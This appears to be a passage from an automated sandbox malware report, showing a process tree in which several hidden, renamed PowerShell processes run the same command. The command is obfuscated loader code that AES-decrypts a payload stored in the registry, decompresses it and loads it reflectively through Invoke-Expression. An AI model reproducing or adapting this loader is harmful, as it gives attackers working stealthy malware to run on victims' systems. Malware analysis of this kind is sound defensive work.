[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:472
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:5252
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:5052
      - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4040).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 